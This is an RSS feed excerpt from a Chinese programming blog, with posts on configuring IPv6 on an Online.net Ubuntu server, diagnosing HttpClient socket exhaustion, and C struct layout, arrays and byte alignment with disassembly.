指针类型的变量宽度永远是4字节、无论类型是什么 无论有几个*。&lt;/p&gt;</description></item><item><title>Online.net 的ubuntu增加ipv6地址</title><link>https://luodaoyi.com/posts/onlinenet-%E7%9A%84ubuntu%E5%A2%9E%E5%8A%A0ipv6%E5%9C%B0%E5%9D%80-onlinenet%E7%9A%84ubuntu%E5%A2%9E%E5%8A%A0ipv6%E5%9C%B0%E5%9D%80/</link><pubDate>Wed, 10 Jan 2018 01:49:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/onlinenet-%E7%9A%84ubuntu%E5%A2%9E%E5%8A%A0ipv6%E5%9C%B0%E5%9D%80-onlinenet%E7%9A%84ubuntu%E5%A2%9E%E5%8A%A0ipv6%E5%9C%B0%E5%9D%80/</guid><description>&lt;p&gt;官方教程有问题&lt;/p&gt;
&lt;p&gt;这里总结下，省的下次又不会配了&lt;/p&gt;
&lt;h2 id="配置-ipv6-block"&gt;配置 ipv6 block&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-10-15155490668090.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;a href="https://console.online.net/en/network/"&gt;https://console.online.net/en/network/&lt;/a&gt; 创建子网&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-10-15155491317895.png" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="配置-仓储地址"&gt;配置 仓储地址&lt;/h2&gt;
&lt;p&gt;编辑 &lt;code&gt;sources.list&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /etc/apt/sources.list 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在末尾增加dhcp6的源地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#DHCP6 Client
deb http://httpredir.debian.org/debian experimental main 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后创建 apt 偏好文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /etc/apt/apt.conf.d/99defaultrelease 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里 14.04填写&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;APT::Default-Release &amp;quot;jessie&amp;quot;; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;16.04填写&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;APT::Default-Release &amp;quot;xenial&amp;quot;; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新apt源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 8B48AD6246925553
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 7638D0442B90D010
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="安装设置dhcp6-客户端"&gt;安装设置DHCP6 客户端&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install odhcp6c 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后测试命令&lt;/p&gt;</description></item><item><title>HttpClient缺陷引起的 无法连接到远程服务器 通常每个套接字地址只允许使用一次</title><link>https://luodaoyi.com/posts/httpclient%E7%BC%BA%E9%99%B7%E5%BC%95%E8%B5%B7%E7%9A%84-%E6%97%A0%E6%B3%95%E8%BF%9E%E6%8E%A5%E5%88%B0%E8%BF%9C%E7%A8%8B%E6%9C%8D%E5%8A%A1%E5%99%A8-%E9%80%9A%E5%B8%B8%E6%AF%8F%E4%B8%AA%E5%A5%97%E6%8E%A5%E5%AD%97%E5%9C%B0%E5%9D%80%E5%8F%AA%E5%85%81%E8%AE%B8%E4%BD%BF%E7%94%A8%E4%B8%80%E6%AC%A1-httpclient%E7%BC%BA%E9%99%B7%E5%BC%95%E8%B5%B7%E7%9A%84%E6%97%A0%E6%B3%95%E8%BF%9E%E6%8E%A5%E5%88%B0%E8%BF%9C%E7%A8%8B%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%80%9A%E5%B8%B8%E6%AF%8F%E4%B8%AA%E5%A5%97%E6%8E%A5%E5%AD%97%E5%9C%B0%E5%9D%80%E5%8F%AA%E5%85%81%E8%AE%B8%E4%BD%BF%E7%94%A8%E4%B8%80%E6%AC%A1/</link><pubDate>Mon, 08 Jan 2018 11:28:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/httpclient%E7%BC%BA%E9%99%B7%E5%BC%95%E8%B5%B7%E7%9A%84-%E6%97%A0%E6%B3%95%E8%BF%9E%E6%8E%A5%E5%88%B0%E8%BF%9C%E7%A8%8B%E6%9C%8D%E5%8A%A1%E5%99%A8-%E9%80%9A%E5%B8%B8%E6%AF%8F%E4%B8%AA%E5%A5%97%E6%8E%A5%E5%AD%97%E5%9C%B0%E5%9D%80%E5%8F%AA%E5%85%81%E8%AE%B8%E4%BD%BF%E7%94%A8%E4%B8%80%E6%AC%A1-httpclient%E7%BC%BA%E9%99%B7%E5%BC%95%E8%B5%B7%E7%9A%84%E6%97%A0%E6%B3%95%E8%BF%9E%E6%8E%A5%E5%88%B0%E8%BF%9C%E7%A8%8B%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%80%9A%E5%B8%B8%E6%AF%8F%E4%B8%AA%E5%A5%97%E6%8E%A5%E5%AD%97%E5%9C%B0%E5%9D%80%E5%8F%AA%E5%85%81%E8%AE%B8%E4%BD%BF%E7%94%A8%E4%B8%80%E6%AC%A1/</guid><description>&lt;p&gt;上周又遇到了坑爹问题，具体表现为 服务端接口全部调用失败。&lt;br&gt;
排查日志发现，有大量的 错误日志为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;System.Net.Http.HttpRequestException: 发送请求时出错。 ---&amp;gt; System.Net.WebException: 无法连接到远程服务器 ---&amp;gt; System.Net.Sockets.SocketException: 通常每个套接字地址(协议/网络地址/端口)只允许使用一次。 xxxxx.xx:6666
 在 System.Net.Sockets.Socket.EndConnect(IAsyncResult asyncResult)
 在 System.Net.ServicePoint.ConnectSocketInternal(Boolean connectFailure, Socket s4, Socket s6, Socket&amp;amp; socket, IPAddress&amp;amp; address, ConnectSocketState state, IAsyncResult asyncResult, Exception&amp;amp; exception)
 --- 内部异常堆栈跟踪的结尾 ---
 在 System.Net.HttpWebRequest.EndGetRequestStream(IAsyncResult asyncResult, TransportContext&amp;amp; context)
 在 System.Net.Http.HttpClientHandler.GetRequestStreamCallback(IAsyncResult ar)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时排查服务器在此时间段内有大量的TIME_WAIT连接，是平时的数倍&lt;/p&gt;</description></item><item><title>结构体 字节对齐的练习</title><link>https://luodaoyi.com/posts/%E7%BB%93%E6%9E%84%E4%BD%93-%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90%E7%9A%84%E7%BB%83%E4%B9%A0-%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90%E7%9A%84%E7%BB%83%E4%B9%A0/</link><pubDate>Sun, 07 Jan 2018 21:57:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%BB%93%E6%9E%84%E4%BD%93-%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90%E7%9A%84%E7%BB%83%E4%B9%A0-%E7%BB%93%E6%9E%84%E4%BD%93%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90%E7%9A%84%E7%BB%83%E4%B9%A0/</guid><description>&lt;ol&gt;
&lt;li&gt;分析结构体大小&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;S1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;S2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;S1&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-07-15153336232523.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;分析结构体大小&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;#pragma pack(1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;S1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;#pragma pack()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;S1&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-07-15153336338583.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;分析结构体大小&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;#pragma pack(4)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;S1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;#pragma pack()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;S3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;S1&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-07-15153336435220.jpg" alt="" title=""&gt;&lt;/p&gt;</description></item><item><title>C语言 13 结构体数组</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%80-13-%E7%BB%93%E6%9E%84%E4%BD%93%E6%95%B0%E7%BB%84-c%E8%AF%AD%E8%A8%8013%E7%BB%93%E6%9E%84%E4%BD%93%E6%95%B0%E7%BB%84/</link><pubDate>Sun, 07 Jan 2018 14:02:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%80-13-%E7%BB%93%E6%9E%84%E4%BD%93%E6%95%B0%E7%BB%84-c%E8%AF%AD%E8%A8%8013%E7%BB%93%E6%9E%84%E4%BD%93%E6%95%B0%E7%BB%84/</guid><description>&lt;h2 id="结构体数组的定义"&gt;结构体数组的定义&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;类型 变量名[常量表达式];
//定义结构体类型
struct stStudent
{
 int Age;
 int Level;
}
//定义结构体变量
struct stStudent st;
//定义结构体数组
struct stStudent arr[10];
//或者
stStudent arr[10];
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="结构体数组初始化"&gt;结构体数组初始化&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct stStudent{
 int Age;
 int Level;
}；
struct stStudent arr[5] = {{0,0},{1,1},{2,2},{3,3},{4,4}};
//或者
arr[0].Age=100;
arr[0].Level=100;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="结构体成员的使用"&gt;结构体成员的使用&lt;/h2&gt;
&lt;p&gt;格式 :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;结构体数组名[下标].成员名
arr[0].Age = 10;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="字符串成员的处理"&gt;字符串成员的处理&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct stStudent{
 int Age;
 char Name[0x20];
}
struct stStudent arr[3] = {{0,&amp;quot;张三&amp;quot;},{1,&amp;quot;李四&amp;quot;},{2,&amp;quot;王五&amp;quot;}};
//读
char buffer[0x20];
strcpy(buffer,arr[0].Name);
//写
strcpy(arr[0].Name,&amp;quot;王钢蛋&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="结构体数组的内存结构"&gt;结构体数组的内存结构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct stStudent{
 int Age;
 char Name[0x20];
}
struct stStudent arr[3] = {{0,&amp;quot;张三&amp;quot;},{1,&amp;quot;李四&amp;quot;},{2,&amp;quot;王五&amp;quot;}};
int x = arr[0].Age;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-07-15153357615992.jpg" alt="" title=""&gt;&lt;/p&gt;</description></item><item><title>C语言12 字节对齐</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8012-%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90-c%E8%AF%AD%E8%A8%8012%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90/</link><pubDate>Sun, 07 Jan 2018 10:19:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8012-%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90-c%E8%AF%AD%E8%A8%8012%E5%AD%97%E8%8A%82%E5%AF%B9%E9%BD%90/</guid><description>&lt;pre&gt;&lt;code&gt;#include
char x;
short y;
int check()
{
 x =1;
 y=2;
 return 0;
}
int main(int argc, char* argv[])
{
 check();
 system(&amp;quot;pause&amp;quot;);
 return 0;
}
//上述代码中 check 函数的反汇编
13: x =1;
00401038 C6 05 E2 55 42 00 01 mov byte ptr [x (004255e2)],1
14: y=2;
0040103F 66 C7 05 E0 55 42 00 mov word ptr [y (004255e0)],offset check+26h (00401046)
//下面将y的类型改为 int
#include
char x;
int y;
int check()
{
 x =1;
 y=2;
 return 0;
}
int main(int argc, char* argv[])
{
 check();
 system(&amp;quot;pause&amp;quot;);
 return 0;
}
//上述代码中 check 函数的反汇编
13: x =1;
00401038 C6 05 E4 55 42 00 01 mov byte ptr [x (004255e4)],1
14: y=2;
0040103F C7 05 E0 55 42 00 02 mov dword ptr [y (004255e0)],2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现，x跟y都是全局变量，但是它们的地址却不不是连续的.&lt;/p&gt;</description></item><item><title>C语言11 结构体</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8011-%E7%BB%93%E6%9E%84%E4%BD%93-c%E8%AF%AD%E8%A8%8011%E7%BB%93%E6%9E%84%E4%BD%93/</link><pubDate>Wed, 03 Jan 2018 14:22:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8011-%E7%BB%93%E6%9E%84%E4%BD%93-c%E8%AF%AD%E8%A8%8011%E7%BB%93%E6%9E%84%E4%BD%93/</guid><description>&lt;p&gt;思考：&lt;/p&gt;
&lt;p&gt;当需要一个容器能够存储1个字节，你会怎么做？ //char&lt;br&gt;
当需要一个容器能够存储4个字节，你会怎么做？ //int&lt;br&gt;
当需要一个容器能够存储100个2个字节的数据，你会怎么做？ //short arr[100]&lt;/p&gt;
